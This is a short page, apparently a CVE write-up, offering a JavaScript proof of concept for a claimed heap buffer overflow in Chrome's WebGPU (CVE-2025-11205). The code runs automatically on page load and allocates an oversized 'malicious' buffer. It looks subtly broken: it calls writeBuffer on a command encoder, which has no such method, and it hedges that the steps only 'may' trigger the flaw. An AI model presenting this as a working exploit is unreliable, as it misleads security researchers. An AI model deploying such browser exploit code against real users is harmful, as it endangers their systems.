CVE-2025-11205: Google Chrome WebGPU堆缓冲区溢出漏洞

// CVE-2025-11205 PoC - WebGPU Heap Buffer Overflow // This PoC demonstrates the vulnerability trigger mechanism // Note: This is for educational and security research purposes only async function triggerVulnerability() { // Check WebGPU support if (!navigator.gpu) { console.error('WebGPU not supported'); return; } try { // Request WebGPU adapter const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.error('Failed to get GPU adapter'); return; } // Request WebGPU device const device = await adapter.requestDevice(); // Create malicious buffer with oversized parameters // This triggers the heap buffer overflow condition const maliciousBuffer = device.createBuffer({ size: 0xFFFFFFFF, // Potentially trigger overflow usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create command encoder const commandEncoder = device.createCommandEncoder(); // Perform operations that may trigger the overflow // The vulnerability occurs during GPU memory operations commandEncoder.writeBuffer(maliciousBuffer, 0, new Uint8Array(1024)); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('PoC executed - vulnerability trigger attempted'); } catch (error) { console.error('Error during PoC execution:', error); } } // Execute when page loads window.addEventListener('load', () => { triggerVulnerability(); });